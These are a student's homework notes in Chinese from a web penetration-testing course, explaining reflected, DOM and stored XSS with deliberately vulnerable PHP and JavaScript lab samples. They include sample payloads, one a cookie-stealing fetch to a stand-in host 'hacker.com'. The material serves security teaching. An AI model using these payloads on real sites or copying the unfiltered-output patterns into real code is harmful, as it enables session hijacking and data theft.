|
WEB渗透测试工程师系统班250303期 第24节课作业 1、什么是xss? XSS(跨站脚本攻击,Cross-Site Scripting)是一种常见的网络安全漏洞,攻击者通过向网页中注入恶意脚本(通常是JavaScript),当其他用户访问该页面时,脚本会在他们的浏览器中执行,从而窃取数据、劫持会话或实施其他恶意行为。 XSS 的核心原理: 注入恶意代码:攻击者将恶意脚本插入到网页的输入字段、URL参数或数据库等位置。 用户浏览触发:当其他用户加载包含恶意代码的页面时,脚本在其浏览器中自动执行。 窃取信息或攻击:脚本可以窃取用户的Cookie、会话令牌、修改页面内容,甚至重定向到钓鱼网站。
2、xss危害? XSS(跨站脚本攻击)的危害主要包括以下几个方面: 1. 窃取用户敏感信息 - 盗取用户的 Cookie、会话令牌 ,冒充用户登录账户(如社交平台、网银、邮箱等)。 - 窃取 表单数据 ,如账号密码、信用卡信息、个人隐私等。 2. 劫持用户会话(Session Hijacking) - 攻击者利用窃取的会话信息,直接进入用户账户,无需密码即可执行操作(如转账、发消息)。 3. 钓鱼攻击(Phishing) - 篡改网页内容,伪造登录框或诱导用户输入敏感信息(如假冒银行网站)。 - 插入虚假广告或恶意链接,诱导用户下载病毒或访问诈骗网站。 4. 破坏网站功能 - 篡改页面内容(如修改新闻、商品价格),误导用户或损害企业信誉。 - 制造弹窗、无限重定向,导致用户无法正常使用网站(类似DoS攻击)。 5. 传播恶意软件或蠕虫病毒 - 在社交平台、论坛等存在存储型XSS的地方,恶意脚本可自动扩散,感染更多用户。 - 通过XSS注入恶意下载链接,诱导用户安装木马或勒索软件。 6. 键盘记录(Keylogging) - 监听用户的键盘输入,窃取密码、聊天记录等隐私信息。 7. 绕过安全限制 - 利用XSS绕过浏览器的 同源策略(SOP) ,访问本应受保护的数据(如企业内部系统)。 - 结合其他漏洞(如CSRF)发起更复杂的攻击,如强制用户修改密码或转账。 8. 长期潜伏与高级攻击 - 存储型XSS可能长期存在于网页中,持续影响访问用户。 - 攻击者可利用XSS作为跳板,进一步渗透服务器或内网。
3、xss有几种类型? 反射型XSS,存储型XSS,DOM型XSS
4、什么是反射性xss? 反射型XSS 是一种常见的Web安全漏洞,攻击者通过构造恶意URL,诱使用户点击后,在目标网页中执行注入的恶意脚本。其核心特点是: First.恶意脚本来自URL参数(如 ?q=<script>alert(1)</script>)。 Second.服务器未过滤直接返回,浏览器解析并执行脚本。 Third.仅影响点击恶意链接的用户(非持久性攻击)。 攻击原理与流程 ①攻击者构造恶意URL: 在参数中嵌入恶意代码(如搜索框、登录页等)。 http://example.com/search?q=<script>alert("XSS")</script> ②诱骗用户点击链接: 通过钓鱼邮件、社交工程等方式传播恶意URL。 ③服务器返回未过滤的内容: 服务器将 q= 后的参数直接拼接到HTML响应中: <div>您搜索的关键词是:<script>alert("XSS")</script></div> ④用户浏览器执行恶意脚本: 脚本在受害者浏览器中运行,可窃取Cookie、劫持会话等 课堂案例: <?php // 反射型XSS漏洞示例(vulnerable.php) $searchTerm = $_GET['search'] ?? ''; ?> <!-- 前端⻚⾯ --> <!DOCTYPE html> <html> <head> <title>反射型XSS演示</title> </head> <body> <h1>搜索系统</h1> <form method="GET"> <input type="text" name="search" placeholder="输⼊搜索内容"> <button type="submit">搜索</button> </form> <?php if(!empty($searchTerm)): ?> <!-- 漏洞点:未对⽤户输⼊进⾏过滤处理 --> <h3>搜索结果:<?php echo $searchTerm; ?></h3> <?php endif; ?> </body> </html>
5、什么是DOM型xss? DOM型XSS漏洞详解 DOM型XSS(DOM-based Cross-Site Scripting) 是一种完全发生在 浏览器端 的跨站脚本攻击,恶意代码通过操纵页面的 DOM(文档对象模型) 结构来执行,不经过服务器。 DOM型XSS的核心特点 First.攻击在客户端完成:恶意代码的注入和执行仅依赖浏览器解析DOM,不依赖服务器返回的数据。 Second.不涉及HTTP请求/响应:与反射型、存储型XSS不同,DOM型XSS的漏洞代码可能不会出现在服务器日志中,难以检测。 Third.依赖前端JavaScript操作DOM:漏洞通常由不安全的 innerHTML、document.write、location.hash、eval() 等前端代码引起。 攻击原理 DOM型XSS的触发流程: 攻击者构造恶意URL,其中包含恶意脚本(如#<script>alert(1)</script>)。 用户访问该URL,浏览器解析URL并动态修改DOM(例如通过location.hash或innerHTML)。 前端JavaScript未正确过滤输入,导致恶意代码被执行。 课堂案例1: <meta charset='utf-8'> <script> var pos=document.URL.indexOf("name=")+5; //取name=后⾯的值 var username = unescape(document.URL.substring(pos,document.URL.length)); //取name=后⾯的值 var r='<b>'+username+'</b>' document.write(r); </script> 课堂案例2: <div id='404'>404</div> <input type="button" onclick=fun() value="点击有惊喜"> <script> function fun(){ var url=unescape(document.URL);//获取url var pos=url.indexOf("name=")+5;//取name=后⾯的值 document.getElementById("404").innerHTML="Hi, <b>"+url.substring(pos,url.length)+'</b>';} </script> 课堂案例3: </h1>Hello World</h1> <script> //取#后⾯的数据 var a =location.hash.substr(1); eval(a); // eval是⾼危函数。 把字符串当做代码进⾏执⾏ </script>
6、什么是存储型xss? 存储型XSS 是一种危害性极强的跨站脚本攻击,攻击者将恶意代码永久存储在目标服务器(如数据库、评论、用户资料等),当其他用户访问受感染页面时,恶意脚本自动执行,无需诱导点击。 攻击原理与流程 ①攻击者提交恶意代码 通过可存储用户输入的功能(如评论、论坛帖子、用户名、留言板)注入恶意脚本。 <script>fetch('https://hacker.com/steal?cookie='+document.cookie)</script> ②服务器存储恶意内容 未过滤的脚本被保存到数据库,成为页面的一部分。 ③受害者访问受感染页面 当其他用户浏览该页面(如查看评论)时,恶意脚本自动在其浏览器中执行。 ④恶意行为触发 窃取Cookie、劫持会话、伪造页面内容、传播蠕虫等。 课堂案例: <?php // 存储型XSS漏洞示例(comment.php) $commentFile = 'comments.txt'; // 处理表单提交(漏洞点:未过滤存储) if(isset($_POST['submit'])){ $comment = isset($_POST['comment']) ? $_POST['comment'] : ''; if(!empty($comment)){ // 将⽤户输⼊直接存⼊⽂件 file_put_contents($commentFile, $comment . PHP_EOL, FILE_APPEND);//⽤户传⼊的参数会写 ⼊⽂本 comments.txt⾥⾯ } } // 读取并显示历史评论(漏洞点:未过滤输出) 参数 1 ? 参数 2 :参数 3 三元表达式 $comments = file_exists($commentFile) ? file($commentFile) : []; //判断 txt 存不存在,如果不 存在,那么就会新建⼀个 txt ⽂件,如果存在,那么就会把⾥⾯的数据放到[xxx,ccc,aaa,bbb,ddd] ?> <!DOCTYPE html> <html> <head> <title>存储型XSS演示</title> </head> <body> <h1>留⾔板系统</h1> <!-- 留⾔表单 --> <form method="POST"> <textarea name="comment" rows="4" cols="50"></textarea><br> <input type="submit" name="submit" value="提交留⾔"> </form> <hr> <!-- 显示历史留⾔ --> <h2>历史留⾔</h2> <?php foreach($comments as $line): ?>//[xxx,ccc,aaa,bbb,ddd] xxx ccc aaa bbb ddd <!-- 直接输出数据库/⽂件中的原始内容 --> <div class="comment"><?php echo $line; ?></div> <?php endforeach; ?> </body> </html>
一、笔记标题:WEB渗透系统班-DOM&反射型XSS+存储型XSS&靶场(1-3)
二、文章内容:
1. 课程内容概要
主要知识点1:DOM型XSS 主要知识点2:反射型XSS 主要知识点3:存储型XSS
2.重点知识与细节
概念解析 概念1:无 概念2: 关键步骤 步骤1:无 步骤2: 步骤3: 相关代码
3.实操练习 和 解析
如作业
4.个人总结 本节课最大的收获是:学习了HTML中的DOM型,反射型,尤其是存储型XSS漏洞 仍然存在疑问的地方:无 需要课后深入学习的内容:深入学习各种靶场环境
|